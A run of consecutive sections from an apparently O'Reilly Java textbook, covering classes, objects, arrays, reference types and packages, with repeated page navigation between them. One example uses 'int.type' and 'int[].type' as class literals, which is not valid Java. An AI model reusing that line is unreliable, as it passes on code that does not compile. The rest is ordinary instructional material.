2.8. Classes and Objects

Now that we have introduced operators, expressions, statements, and methods, we can finally talk about classes. A class is a named collection of fields that hold data values and methods that operate on those values. Some classes also contain nested inner classes. Classes are the most fundamental structural element of all Java programs. You cannot write Java code without defining a class. All Java statements appear within methods, and all methods are defined within classes.

Classes are more than just another structural level of Java syntax. Just as a cell is the smallest unit of life that can survive and reproduce on its own, a class is the smallest unit of Java code that can stand alone. The Java compiler and interpreter do not recognize fragments of Java code that are smaller than a class. A class is the basic unit of execution for Java, which makes classes very important. Java actually defines another construct, called an interface, that is quite similar to a class. The distinction between classes and interfaces will become clear in Chapter 3, "Object-Oriented Programming in Java", but for now I'll use the term "class" to mean either a class or an interface.

Classes are important for another reason: every class defines a new data type. For example, you can define a class named Point to represent a data point in the two-dimensional Cartesian coordinate system. This class can define fields (each of type double) to hold the X and Y coordinates of a point and methods to manipulate and operate on the point. The Point class is a new data type.

When discussing data types, it is important to distinguish between the data type itself and the values the data type represents. char is a data type: it represents Unicode characters. But a char value represents a single specific character. A class is a data type; the value of a class type is called an object. We use the name class because each class defines a type (or kind, or species, or class) of objects. The Point class is a data type that represents X,Y points, while a Point object represents a single specific X,Y point. As you might imagine, classes and their objects are closely linked. In the sections that follow, we will be discussing both.

2.8.1. Defining a Class

Here is a possible definition of the Point class we have been discussing:

/** Represents a Cartesian (x,y) point */
public class Point {
  public double x, y;                    // The coordinates of the point.
  public Point(double x, double y) {     // A constructor that
    this.x = x; this.y = y;              // initializes the fields.
  }

  public double distanceFromOrigin() {   // A method that operates on
    return Math.sqrt(x*x + y*y);         // the x and y fields.
  }
}

This class definition is stored in a file named Point.java and compiled to a file named Point.class, at which point it is available for use by Java programs and other classes. This class definition is provided here for completeness and to provide context, but don't expect to understand all the details just yet; most of Chapter 3, "Object-Oriented Programming in Java" is devoted to the topic of defining classes. Do pay extra attention to the first (non-comment) line of the class definition, however. Just as the first line of a method definition--the method signature--defines the API for the method, this line defines the basic API for a class (as described in the next chapter).

Keep in mind that you don't have to define every class you want to use in a Java program. The Java platform consists of over 1500 predefined classes that are guaranteed to be available on every computer that runs Java.

2.8.2. Creating an Object

Now that we have defined the Point class as a new data type, we can use the following line to declare a variable that holds a Point object:

Point p;

Declaring a variable to hold a Point object does not create the object itself, however. To actually create an object, you must use the new operator. This keyword is followed by the object's class (i.e., its type) and an optional argument list in parentheses. These arguments are passed to the constructor method for the class, which initializes internal fields in the new object:

// Create a Point object representing (2,-3.5) and store it in variable p
Point p = new Point(2.0, -3.5);

// Create some other objects as well
Date d = new Date();         // A Date object that represents the current time
Vector list = new Vector();  // A Vector object to hold a list of objects

The new keyword is by far the most common way to create objects in Java. There are a few other ways that are worth mentioning, however. First, there are a couple of classes that are so important that the Java language defines special literal syntax for creating objects of those types (as we'll discuss in the next section). Second, Java supports a dynamic loading mechanism that allows programs to load classes and create instances of those classes dynamically. This dynamic instantiation is done with the newInstance() methods of java.lang.Class and java.lang.Constructor. Finally, in Java 1.1 and later, objects can also be created by deserializing them. In other words, an object that has had its state saved, or serialized, usually to a file, can be recreated using the java.io.ObjectInputStream class.

2.8.3. Object Literals

As I just said, Java defines special syntax for creating instances of two very important classes. The first class is String, which represents text as a string of characters. Since programs usually communicate with their users through the written word, the ability to manipulate strings of text is quite important in any programming language. In some languages, strings are a primitive type, on a par with integers and characters. In Java, however, strings are objects; the data type used to represent text is the String class.

Because strings are such a fundamental data type, Java allows you to include text literally in programs by placing it between double-quote (") characters. For example:

String name = "David";
System.out.println("Hello, " + name);

Don't confuse the double-quote characters that surround string literals with the single-quote (or apostrophe) characters that surround char literals. String literals can contain any of the escape sequences char literals can (see Table 2-3). Escape sequences are particularly useful for embedding double-quote characters within double-quoted string literals. For example:

String story = "\t\"How can you stand it?\" he asked sarcastically.\n";

String literals can be only a single line long. Java does not support any kind of continuation-character syntax that allows two separate lines to be treated as a single line. If you need to represent a long string of text that does not fit on a single line, break it into independent string literals and use the + operator to concatenate the literals. For example:

String s = "This is a test of the         // This is illegal; string literals
            emergency broadcast system";  // cannot be broken across lines.

String s = "This is a test of the " +     // Do this instead.
           "emergency broadcast system";

This concatenation of literals is done when your program is compiled, not when it is run, so you do not need to worry about any kind of performance penalty.

The second class that supports its own special object literal syntax is the class named Class. Class is a (self-referential) data type that represents all Java data types, including primitive types and array types, not just class types. To include a Class object literally in a Java program, follow the name of any data type with .class. For example:

Class typeInt = int.type;
Class typeIntArray = int[].type;
Class typePoint = Point.class;

This feature is supported by Java 1.1 and later.

The Java reserved word null is a special literal that can be used with any class. Instead of representing a literal object, it represents the absence of an object. For example:

String s = null;
Point p = null;

Finally, objects can also be included literally in a Java program through the use of a construct known as an anonymous inner class. Anonymous classes are discussed in Chapter 3, "Object-Oriented Programming in Java".

2.8.4. Using an Object

Now that we've seen how to define classes and instantiate them by creating objects, we need to look at the Java syntax that allows us to use those objects. Recall that a class defines a collection of fields and methods. Each object has its own copies of those fields and has access to those methods. We use the dot character (.) to access the named fields and methods of an object. For example:

Point p = new Point(2, 3);         // Create an object
double x = p.x;                    // Read a field of the object
p.y = p.x * p.x;                   // Set the value of a field
double d = p.distanceFromOrigin(); // Access a method of the object

This syntax is central to object-oriented programming in Java, so you'll see it a lot. Note, in particular, the expression p.distanceFromOrigin(). This tells the Java compiler to look up a method named distanceFromOrigin() defined by the class Point and use that method to perform a computation on the fields of the object p. We'll cover the details of this operation in Chapter 3, "Object-Oriented Programming in Java".

Previous | Home | Next
2.7. Methods | Book Index | 2.9. Array Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Array Types (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.9. Array Types

Array types are the second kind of reference types in Java. An array is an ordered collection, or numbered list, of values. The values can be primitive values, objects, or even other arrays, but all of the values in an array must be of the same type. The type of the array is the type of the values it holds, followed by the characters []. For example:

byte b;                        // byte is a primitive type
byte[] arrayOfBytes;           // byte[] is an array type: array of byte
byte[][] arrayOfArrayOfBytes;  // byte[][] is another type: array of byte[]
Point[] points;                // Point[] is an array of Point objects

For compatibility with C and C++, Java also supports another syntax for declaring variables of array type. In this syntax, one or more pairs of square brackets follow the name of the variable, rather than the name of the type:

byte arrayOfBytes[];            // Same as byte[] arrayOfBytes
byte arrayOfArrayOfBytes[][];   // Same as byte[][] arrayOfArrayOfBytes
byte[] arrayOfArrayOfBytes[];   // Ugh! Same as byte[][] arrayOfArrayOfBytes

This is almost always a confusing syntax, however, and it is not recommended.

With classes and objects, we have separate terms for the type and the values of that type. With arrays, the single word array does double duty as the name of both the type and the value. Thus, we can speak of the array type int[] (a type) and an array of int (a particular array value). In practice, it is usually clear from context whether a type or a value is being discussed.

2.9.1. Creating Arrays

To create an array value in Java, you use the new keyword, just as you do to create an object. Arrays don't need to be initialized like objects do, however, so you don't pass a list of arguments between parentheses. What you must specify, though, is how big you want the array to be. If you are creating a byte[], for example, you must specify how many byte values you want it to hold. Array values have a fixed size in Java. Once an array is created, it can never grow or shrink. Specify the desired size of your array as a non-negative integer between square brackets:

byte[] buffer = new byte[1024];
String[] lines = new String[50];

When you create an array with this syntax, each of the values held in the array is automatically initialized to its default value. This is false for boolean values, '\u0000' for char values, 0 for integer values, 0.0 for floating-point values, and null for objects or array values.

2.9.2. Using Arrays

Once you've created an array with the new operator and the square-bracket syntax, you also use square brackets to access the individual values contained in the array. Remember that an array is an ordered collection of values. The elements of an array are numbered sequentially, starting with 0. The number of an array element refers to the element. This number is often called the index, and the process of looking up a numbered value in an array is sometimes called indexing the array.

To refer to a particular element of an array, simply place the index of the desired element in square brackets after the name of the array. For example:

String[] responses = new String[2];   // Create an array of two strings
responses[0] = "Yes";                 // Set the first element of the array
responses[1] = "No";                  // Set the second element of the array

// Now read these array elements
System.out.println(question + " (" + responses[0] + "/" +
                   responses[1] + " ): ");

In some programming languages, such as C and C++, it is a common bug to write code that tries to read or write array elements that are past the end of the array. Java does not allow this. Every time you access an array element, the Java interpreter automatically checks that the index you have specified is valid. If you specify a negative index or an index that is greater than the last index of the array, the interpreter throws an exception of type ArrayIndexOutOfBoundsException. This prevents you from reading or writing nonexistent array elements.

Array index values are integers; you cannot index an array with a floating-point value, a boolean, an object, or another array. char values can be converted to int values, so you can use characters as array indexes. Although long is an integer data type, long values cannot be used as array indexes. This may seem surprising at first, but consider that an int index supports arrays with over two billion elements. An int[] with this many elements would require eight gigabytes of memory. When you think of it this way, it is not surprising that long values are not allowed as array indexes.

Besides setting and reading the value of array elements, there is one other thing you can do with an array value. Recall that whenever we create an array, we must specify the number of elements the array holds. This value is referred to as the length of the array; it is an intrinsic property of the array. If you need to know the length of the array, append .length to the array name:

if (errorCode < errorMessages.length)
  System.out.println(errorMessages[errorCode]);

.length is special Java syntax for arrays. An expression like a.length looks as though it refers to a field of an object a, but this is not actually the case. The .length syntax can be used only to read the length of an array. It cannot be used to set the length of an array (because, in Java, an array has a fixed length that can never change).

In the previous example, the array index within square brackets is a variable, not an integer literal. In fact, arrays are most often used with loops, particularly for loops, where they are indexed using a variable that is incremented or decremented each time through the loop:

int[] values;                          // Array elements initialized elsewhere
int total = 0;                         // Store sum of elements here
for(int i = 0; i < values.length; i++) // Loop through array elements
  total += values[i];                  // Add them up

In Java, the first element of an array is always element number 0. If you are accustomed to a programming language that numbers array elements beginning with 1, this will take some getting used to. For an array a, the first element is a[0], the second element is a[1], and the last element is:

a[a.length - 1]         // The last element of any array named a

2.9.3. Array Literals

The null literal used to represent the absence of an object can also be used to represent the absence of an array. For example:

char[] password = null;

In addition to the null literal, Java also defines special syntax that allows you to specify array values literally in your programs. There are actually two different syntaxes for array literals. The first, and more commonly used, syntax can be used only when declaring a variable of array type. It combines the creation of the array object with the initialization of the array elements:

int[] powersOfTwo = {1, 2, 4, 8, 16, 32, 64, 128};

This creates an array that contains the eight int elements listed within the curly braces. Note that we don't use the new keyword or specify the type of the array in this array literal syntax. The type is implicit in the variable declaration of which the initializer is a part. Also, the array length is not specified explicitly with this syntax; it is determined implicitly by counting the number of elements listed between the curly braces. There is a semicolon following the close curly brace in this array literal. This is one of the fine points of Java syntax. When curly braces delimit classes, methods, and compound statements, they are not followed by semicolons. However, for this array literal syntax, the semicolon is required to terminate the variable declaration statement.

The problem with this array literal syntax is that it works only when you are declaring a variable of array type. Sometimes you need to do something with an array value (such as pass it to a method) but are going to use the array only once, so you don't want to bother assigning it to a variable. In Java 1.1 and later, there is an array literal syntax that supports this kind of anonymous arrays (so called because they are not assigned to variables, so they don't have names). This kind of array literal looks as follows:

// Call a method, passing an anonymous array literal that contains two strings
String response = askQuestion("Do you want to quit?",
                              new String[] {"Yes", "No"});

// Call another method with an anonymous array (of anonymous objects)
double d = computeAreaOfTriangle(new Point[] { new Point(1,2),
                                               new Point(3,4),
                                               new Point(3,2) });

With this syntax, you use the new keyword and specify the type of the array, but the length of the array is not explicitly specified.

It is important to understand that the Java Virtual Machine architecture does not support any kind of efficient array initialization. In other words, array literals are created and initialized when the program is run, not when the program is compiled. Consider the following array literal:

int[] perfectNumbers = {6, 28};

This is compiled into Java byte codes that are equivalent to:

int[] perfectNumbers = new int[2];
perfectNumbers[0] = 6;
perfectNumbers[1] = 28;

Thus, if you want to include a large amount of data in a Java program, it may not be a good idea to include that data literally in an array, since the Java compiler has to create lots of Java byte codes to initialize the array, and then the Java interpreter has to laboriously execute all that initialization code. In cases like this, it is better to store your data in an external file and read it into the program at runtime.

The fact that Java does all array initialization explicitly at runtime has an important corollary, however. It means that the elements of an array literal can be arbitrary expressions that are computed at runtime, rather than constant expressions that are resolved by the compiler. For example:

Point[] points = { circle1.getCenterPoint(), circle2.getCenterPoint() };

2.9.4. Multidimensional Arrays

As we've seen, an array type is simply the element type followed by a pair of square brackets. An array of char is char[], and an array of arrays of char is char[][]. When the elements of an array are themselves arrays, we say that the array is multidimensional. In order to work with multidimensional arrays, there are a few additional details you must understand.

Imagine that you want to use a multidimensional array to represent a multiplication table:

int[][] products;      // A multiplication table

Each of the pairs of square brackets represents one dimension, so this is a two-dimensional array. To access a single int element of this two-dimensional array, you must specify two index values, one for each dimension. Assuming that this array was actually initialized as a multiplication table, the int value stored at any given element would be the product of the two indexes. That is, products[2][4] would be 8, and products[3][7] would be 21.

To create a new multidimensional array, use the new keyword and specify the size of both dimensions of the array. For example:

int[][] products = new int[10][10];

In some languages, an array like this would be created as a single block of 100 int values. Java does not work this way. This line of code does three things:

  • Declares a variable named products to hold an array of arrays of int.

  • Creates a 10-element array to hold 10 arrays of int.

  • Creates 10 more arrays, each of which is a 10-element array of int. It assigns each of these 10 new arrays to the elements of the initial array. The default value of every int element of each of these 10 new arrays is 0.

To put this another way, the previous single line of code is equivalent to the following code:

int[][] products = new int[10][];    // An array to hold ten int[] values.
for(int i = 0; i < 10; i++)          // Loop ten times...
  products[i] = new int[10];         // ...and create ten arrays.

The new keyword performs this additional initialization automatically for you. It works with arrays with more than two dimensions as well:

float[][][] globalTemperatureData = new float[360][180][100];

When using new with multidimensional arrays, you do not have to specify a size for all dimensions of the array, only the leftmost dimension or dimensions. For example, the following two lines are legal:

float[][][] globalTemperatureData = new float[360][][];
float[][][] globalTemperatureData = new float[360][180][];

The first line creates a single-dimensional array, where each element of the array can hold a float[][]. The second line creates a two-dimensional array, where each element of the array is a float[]. If you specify a size for only some of the dimensions of an array, however, those dimensions must be the leftmost ones. The following lines are not legal:

float[][][] globalTemperatureData = new float[360][][100];  // Error!
float[][][] globalTemperatureData = new float[][180][100];  // Error!

Like a one-dimensional array, a multidimensional array can be initialized using an array literal. Simply use nested sets of curly braces to nest arrays within arrays. For example, we can declare, create, and initialize a 5×5 multiplication table like this:

int[][] products = { {0, 0, 0, 0, 0},
                     {0, 1, 2, 3, 4},
                     {0, 2, 4, 6, 8},
                     {0, 3, 6, 9, 12},
                     {0, 4, 8, 12, 16} };

Or, if you want to use a multidimensional array without declaring a variable, you can use the anonymous initializer syntax:

boolean response = bilingualQuestion(question, new String[][] {
                                                   { "Yes", "No" },
                                                   { "Oui", "Non" }});

When you create a multidimensional array using the new keyword, you always get a rectangular array: one in which all the array values for a given dimension have the same size. This is perfect for rectangular data structures, such as matrixes. However, because multidimensional arrays are implemented as arrays of arrays in Java, instead of as a single rectangular block of elements, you are in no way constrained to use rectangular arrays. For example, since our multiplication table is symmetrical about the diagonal from top left to bottom right, we can represent the same information in a nonrectangular array with fewer elements:

int[][] products = { {0},
                     {0, 1},
                     {0, 2, 4},

                     {0, 3, 6, 9},
                     {0, 4, 8, 12, 16} };

When working with multidimensional arrays, you'll often find yourself using nested loops to create or initialize them. For example, you can create and initialize a large triangular multiplication table as follows:

int[][] products = new int[12][];          // An array of 12 arrays of int.
for(int row = 0; row < 12; row++) {        // For each element of that array,
  products[row] = new int[row+1];          // allocate an array of int.
  for(int col = 0; col < row+1; col++)     // For each element of the int[],
    products[row][col] = row * col;        // initialize it to the product.
}
Previous | Home | Next
2.8. Classes and Objects | Book Index | 2.10. Reference Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reference Types (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.10. Reference Types

Now that we have discussed the syntax for working with objects and arrays, we can return to the issue of why classes and array types are known as reference types. As we saw in Table 2-2, all the Java primitive types have well-defined standard sizes, so all primitive values can be stored in a fixed amount of memory (between one and eight bytes, depending on the type). But classes and array types are composite types; objects and arrays contain other values, so they do not have a standard size, and they often require quite a bit more memory than eight bytes. For this reason, Java does not manipulate objects and arrays directly. Instead, it manipulates references to objects and arrays. Because Java handles objects and arrays by reference, classes and array types are known as reference types. In contrast, Java handles values of the primitive types directly, or by value.

A reference to an object or an array is simply some fixed-size value that refers to the object or array in some way.[4] When you assign an object or array to a variable, you are actually setting the variable to hold a reference to that object or array. Similarly, when you pass an object or array to a method, what really happens is that the method is given a reference to the object or array through which it can manipulate the object or array.

[4] Typically, a reference is the memory address at which the object or array is stored. However, since Java references are opaque and cannot be manipulated in any way, this is an implementation detail.

C and C++ programmers should note that Java does not support the & address-of operator or the * and −> dereference operators. In Java, primitive types are always handled exclusively by value, and objects and arrays are always handled exclusively by reference. Furthermore, unlike pointers in C and C++, references in Java are entirely opaque: they cannot be converted to or from integers, and they cannot be incremented or decremented.

Although references are an important part of how Java works, Java programs cannot manipulate references in any way. Despite this, there are significant differences between the behavior of primitive types and reference types in two important areas: the way values are copied and the way they are compared for equality.

2.10.1. Copying Objects and Arrays

Consider the following code that manipulate a primitive int value:

int x = 42;
int y = x;

After these lines execute, the variable y contains a copy of the value held in the variable x. Inside the Java VM, there are two independent copies of the 32-bit integer 42.

Now think about what happens if we run the same basic code but use a reference type instead of a primitive type:

Point p = new Point(1.0, 2.0);
Point q = p;

After this code runs, the variable q holds a copy of the reference held in the variable p. There is still only one copy of the Point object in the VM, but there are now two copies of the reference to that object. This has some important implications. Suppose the two previous lines of code are followed by this code:

System.out.println(p.x);  // Print out the X coordinate of p: 1.0
q.x = 13.0;               // Now change the X coordinate of q
System.out.println(p.x);  // Print out p.x again; this time it is 13.0

Since the variables p and q hold references to the same object, either variable can be used to make changes to the object, and those changes are visible through the other variable as well.

This behavior is not specific to objects; the same thing happens with arrays, as illustrated by the following code:

char[] greet = { 'h','e','l','l','o' };  // greet holds an array reference
char[] cuss = greet;                     // cuss holds the same reference
cuss[4] = '!';                           // Use reference to change an element
System.out.println(greet);               // Prints "hell!"

A similar difference in behavior between primitive types and reference types occurs when arguments are passed to methods. Consider the following method:

void changePrimitive(int x) {
  while(x > 0)
    System.out.println(x--);
}

When this method is invoked, the method is given a copy of the argument used to invoke the method in the parameter x. The code in the method uses x as a loop counter and decrements it to zero. Since x is a primitive type, the method has its own private copy of this value, so this is a perfectly reasonable thing to do.

On the other hand, consider what happens if we modify the method so that the parameter is a reference type:

void changeReference(Point p) {
  while(p.x > 0)
    System.out.println(p.x--);
}

When this method is invoked, it is passed a private copy of a reference to a Point object and can use this reference to change the Point object. Consider the following:

Point q = new Point(3.0, 4.5);  // A point with an X coordinate of 3
changeReference(q);             // Prints 3,2,1 and modifies the Point
System.out.println(q.x);        // The X coordinate of q is now 0!

When the changeReference() method is invoked, it is passed a copy of the reference held in variable q. Now both the variable q and the method parameter p hold references to the same object. The method can use its reference to change the contents of the object. Note, however, that it cannot change the contents of the variable q. In other words, the method can change the Point object beyond recognition, but it cannot change the fact that the variable q refers to that object.

The title of this section is "Copying Objects and Arrays," but, so far, we've only seen copies of references to objects and arrays, not copies of the objects and arrays themselves. To make an actual copy of an object or an array, you must use the special clone() method (inherited by all objects from java.lang.Object):

Point p = new Point(1,2);    // p refers to one object
Point q = (Point) p.clone(); // q refers to a copy of that object
q.y = 42;                    // Modify the copied object, but not the original

int[] data = {1,2,3,4,5};           // An array
int[] copy = (int[]) data.clone();  // A copy of the array

Note that a cast is necessary to coerce the return value of the clone() method to the correct type. The reason for this will become clear later in this chapter. There are a couple of points you should be aware of when using clone(). First, not all objects can be cloned. Java only allows an object to be cloned if the object's class has explicitly declared itself to be cloneable by implementing the Cloneable interface. (We haven't discussed interfaces or how they are implemented yet; that is covered in Chapter 3, "Object-Oriented Programming in Java".) The definition of Point that we showed earlier does not actually implement this interface, so our Point type, as implemented, is not cloneable. Note, however, that arrays are always cloneable. If you call the clone() method for a non-cloneable object, it throws a CloneNotSupportedException, so when you use the clone() method, you may want to use it within a try block to catch this exception.

The second thing you need to understand about clone() is that, by default, it is implemented to create a shallow copy of an object or array. The copied object or array contains copies of all the primitive values and references in the original object or array. In other words, any references in the object or array are copied, not cloned; clone() does not recursively make copies of the objects or arrays referred to by those references. A class may need to override this shallow copy behavior by defining its own version of the clone() method that explicitly performs a deeper copy where needed. To understand the shallow copy behavior of clone(), consider cloning a two-dimensional array of arrays:

int[][] data = {{1,2,3}, {4,5}};       // An array of 2 references
int[][] copy = (int[][]) data.clone(); // Copy the 2 refs to a new array
copy[0][0] = 99;                       // This changes data[0][0] too!
copy[1] = new int[] {7,8,9};           // This does not change data[1]

If you want to make a deep copy of this multidimensional array, you have to copy each dimension explicitly:

int[][] data = {{1,2,3}, {4,5}};       // An array of 2 references
int[][] copy = new int[data.length][]; // A new array to hold copied arrays
for(int i = 0; i < data.length; i++)
  copy[i] = (int[]) data[i].clone();

2.10.2. Comparing Objects and Arrays

We've seen that primitive types and reference types differ significantly in the way they are assigned to variables, passed to methods, and copied. The types also differ in the way they are compared for equality. When used with primitive values, the equality operator (= =) simply tests whether two values are identical (i.e., whether they have exactly the same bits). With reference types, however, = = compares references, not actual objects or arrays. In other words, = = tests whether two references refer to the same object or array; it does not test whether two objects or arrays have the same content. For example:

String letter = "o";
String s = "hello";                      // These two String objects
String t = "hell" + letter;              // contain exactly the same text.
if (s == t) System.out.println("equal"); // But they are not equal!

byte[] a = { 1, 2, 3 };                  // An array.
byte[] b = (byte[]) a.clone();           // A copy with identical content.
if (a == b) System.out.println("equal"); // But they are not equal!

When working with reference types, there are two kinds of equality: equality of reference and equality of object. It is important to distinguish between these two kinds of equality. One way to do this is to use the word "equals" when talking about equality of references and the word "equivalent" when talking about two distinct object or arrays that have the same contents. Unfortunately, the designers of Java didn't use this nomenclature, as the method for testing whether one object is equivalent to another is named equals(). To test two objects for equivalence, pass one of them to the equals() method of the other:

String letter = "o";
String s = "hello";                      // These two String objects
String t = "hell" + letter;              // contain exactly the same text.
if (s.equals(t))                         // And the equals() method
  System.out.println("equivalent");      // tells us so.

All objects inherit an equals() method (from Object, but the default implementation simply uses = = to test for equality of references, not equivalence of content. A class that wants to allow objects to be compared for equivalence can define its own version of the equals() method. Our Point class does not do this, but the String class does, as indicated by the code above. You can call the equals() method on an array, but it is the same as using the = = operator, because arrays always inherit the default equals() method that compares references rather than array content. Starting in Java 1.2, you can compare arrays for equivalence with the convenience method java.util.Arrays.equals(). Prior to Java 1.2, however, you must loop through the elements of the arrays and compare them yourself.

2.10.3. The null Reference

We've seen the null keyword in our discussions of objects and arrays. Now that we have described references, it is worth revisiting null to point out that it is a special value that is a reference to nothing, or an absence of a reference. The default value for all reference types is null. The null value is unique in that it can be assigned to a variable of any reference type whatsoever.

2.10.4. Terminology: Pass by Value

I've said that Java handles arrays and objects "by reference." Don't confuse this with the phrase "pass by reference."[5] "Pass by reference" is a term used to describe the method-calling conventions of some programming languages. In a pass-by-reference language, values--even primitive values--are not passed directly to methods. Instead, methods are always passed references to values. Thus, if the method modifies its parameters, those modifications are visible when the method returns, even for primitive types.

[5]Unfortunately, previous editions of this book may have contributed to the confusion!

Java does not do this; it is a "pass by value" language. However, when a reference type is involved, the value that is passed is a reference. But this is not the same as pass-by-reference. If Java were a pass-by-reference language, when a reference type was passed to a method, it would be passed as a reference to the reference.

2.10.5. Memory Allocation and Garbage Collection

As we've already noted, objects and arrays are composite values that can contain a number of other values and may require a substantial amount of memory. When you use the new keyword to create a new object or array or use an object or array literal in your program, Java automatically creates the object for you, allocating whatever amount of memory is necessary. You don't need to do anything to make this happen.

In addition, Java also automatically reclaims that memory for reuse when it is no longer needed. It does this through a process called garbage collection. An object is considered garbage when there are no longer any references to it stored in any variables, the fields of any objects, or the elements of any arrays. For example:

Point p = new Point(1,2);           // Create an object
double d = p.distanceFromOrigin();  // Use it for something
p = new Point(2,3);                 // Create a new object

After the Java interpreter executes the third line, a reference to the new Point object has replaced the reference to the first one. There are now no remaining references to the first object, so it is garbage. At some point, the garbage collector will discover this and reclaim the memory used by the object.

C programmers, who are used to using malloc() and free() to manage memory, and C++ programmers, who are used to explicitly deleting their objects with delete, may find it a little hard to relinquish control and trust the garbage collector. Even though it seems like magic, it really works! There is a slight performance penalty due to the use of garbage collection, and Java programs may sometimes slow down noticeably while the garbage collector is actively reclaiming memory. However, having garbage collection built into the language dramatically reduces the occurrence of memory leaks and related bugs and almost always improves programmer productivity.

2.10.6. Reference Type Conversions

When we discussed primitive types earlier in this chapter, we saw that values of certain types can be converted to values of other types. Widening conversions are performed automatically by the Java interpreter, as necessary. Narrowing conversions, however, can result in lost data, so the interpreter does not perform them unless explicitly directed to do so with a cast.

Java does not allow any kind of conversion from primitive types to reference types or vice versa. Java does allow widening and narrowing conversions among certain reference types, however. As we've seen, there are an infinite number of potential reference types. In order to understand the conversions that can be performed among these types, you need to understand that the types form a hierarchy, usually called the class hierarchy.

Every Java class extends some other class, known as its superclass. A class inherits the fields and methods of its superclass and then defines its own additional fields and methods. There is a special class named Object that serves as the root of the class hierarchy in Java. It does not extend any class, but all other Java classes extend Object or some other class that has Object as one of its ancestors. The Object class defines a number of special methods that are inherited (or overridden) by all classes. These include the toString(), clone(), and equals() methods described earlier.

The predefined String class and the Point class we defined earlier in this chapter both extend Object. Thus, we can say that all String objects are also Object objects. We can also say that all Point objects are Object objects. The opposite is not true, however. We cannot say that every Object is a String because, as we've just seen, some Object objects are Point objects.

With this simple understanding of the class hierarchy, we can return to the rules of reference type conversion:

  • An object cannot be converted to an unrelated type. The Java compiler does not allow you to convert a String to a Point, for example, even if you use a cast operator.

  • An object can be converted to the type of a superclass. This is a widening conversion, so no cast is required. For example, a String value can be assigned to a variable of type Object or passed to a method where an Object parameter is expected. Note that no conversion is actually performed; the object is simply treated as if it were an instance of the superclass.

  • An object can be converted to the type of a subclass, but this is a narrowing conversion and requires a cast. The Java compiler provisionally allows this kind of conversion, but the Java interpreter checks at runtime to make sure it is valid. Only cast an object to the type of a subclass if you are sure, based on the logic of your program, that the object is actually an instance of the subclass. If it is not, the interpreter throws a ClassCastException. For example, if we assign a String object to a variable of type Object, we can later cast the value of that variable back to type String:

    Object o = "string";    // Widening conversion from String to Object
// Later in the program...
String s = (String) o;  // Narrowing conversion from Object to String

  • All array types are distinct, so an array of one type cannot be converted to an array of another type, even if the individual elements could be converted. For example, although a byte can be widened to an int, a byte[] cannot be converted to an int[], even with an explicit cast.

  • Arrays do not have a type hierarchy, but all arrays are considered instances of Object, so any array can be converted to an Object value through a widening conversion. A narrowing conversion with a cast can convert such an object value back to an array. For example:

    Object o = new int[] {1,2,3};  // Widening conversion from array to Object
// Later in the program...
int[] a = (int[]) o;           // Narrowing conversion back to array type

Previous | Home | Next
2.9. Array Types | Book Index | 2.11. Packages and the Java Namespace
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Packages and the Java Namespace (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.11. Packages and the Java Namespace

A package is a named collection of classes (and possibly subpackages). Packages serve to group related classes and define a namespace for the classes they contain.

The Java platform includes packages with names that begin with java, javax, and org.omg. (Sun also defines standard extensions to the Java platform in packages whose names begin with javax.) The most fundamental classes of the language are in the package java.lang. Various utility classes are in java.util. Classes for input and output are in java.io, and classes for networking are in java.net. Some of these packages contain subpackages. For example, java.lang contains two more specialized packages, named java.lang.reflect and java.lang.ref, and java.util contains a subpackage, java.util.zip, that contains classes for working with compressed ZIP archives.

Every class has both a simple name, which is the name given to it in its definition, and a fully qualified name, which includes the name of the package of which it is a part. The String class, for example, is part of the java.lang package, so its fully qualified name is java.lang.String.

2.11.1. Defining a Package

To specify the package a class is to be part of, you use a package directive. The package keyword, if it appears, must be the first token of Java code (i.e., the first thing other than comments and space) in the Java file. The keyword should be followed by the name of the desired package and a semicolon. Consider a file of Java code that begins with this directive:

package com.davidflanagan.jude;

All classes defined by this file are part of the package named com.davidflanagan.jude.

If no package directive appears in a file of Java code, all classes defined in that file are part of a default unnamed package. As we'll see in Chapter 3, "Object-Oriented Programming in Java", classes in the same package have special access to each other. Thus, except when you are writing simple example programs, you should always use the package directive to prevent access to your classes from totally unrelated classes that also just happen to be stored in the unnamed package.

2.11.2. Importing Classes and Packages

A class in a package p can refer to any other class in p by its simple name. And, since the classes in the java.lang package are so fundamental to the Java language, any Java code can refer to any class in this package by its simple name. Thus, you can always type String, instead of java.lang.String. By default, however, you must use the fully qualified name of all other classes. So, if you want to use the File class of the java.io package, you must type java.io.File.

Specifying package names explicitly all the time quickly gets tiring, so Java includes an import directive you can use to save some typing. import is used to specify classes and packages of classes that can be referred to by their simple names instead of by their fully qualified names. The import keyword can be used any number of times in a Java file, but all uses must be at the top of the file, immediately after the package directive, if there is one. There can be comments between the package directive and the import directives, of course, but there cannot be any other Java code.

The import directive is available in two forms. To specify a single class that can be referred to by its simple name, follow the import keyword with the name of the class and a semicolon:

import java.io.File;    // Now we can type File instead of java.io.File

To import an entire package of classes, follow import with the name of the package, the characters .*, and a semicolon. Thus, if you want to use several other classes from the java.io package in addition to the File class, you can simply import the entire package:

import java.io.*;   // Now we can use simple names for all classes in java.io

This package import syntax does not apply to subpackages. If I import the java.util package, I must still refer to the java.util.zip.ZipInputStream class by its fully qualified name. If two classes with the same name are both imported from different packages, neither one can be referred to by its simple name; to resolve this naming conflict unambiguously, you must use the fully qualified name of both classes.

2.11.3. Globally Unique Package Names

One of the important functions of packages is to partition the Java namespace and prevent name collisions between classes. It is only their package names that keep the java.util.List and java.awt.List classes distinct, for example. In order for this to work, however, package names must themselves be distinct. As the developer of Java, Sun controls all package names that begin with java, javax, and sun.

For the rest of us, Sun proposes a package-naming scheme, which, if followed correctly, guarantees globally unique package names. The scheme is to use your Internet domain name, with its elements reversed, as the prefix for all your package names. My web site is davidflanagan.com, so all my Java packages begin with com.davidflanagan. It is up to me to decide how to partition the namespace below com.davidflanagan, but since I own that domain name, no other person or organization who is playing by the rules can define a package with the same name as any of mine.

Previous | Home | Next
2.10. Reference Types | Book Index | 2.12. Java File Structure
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java File Structure (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.12. Java File Structure

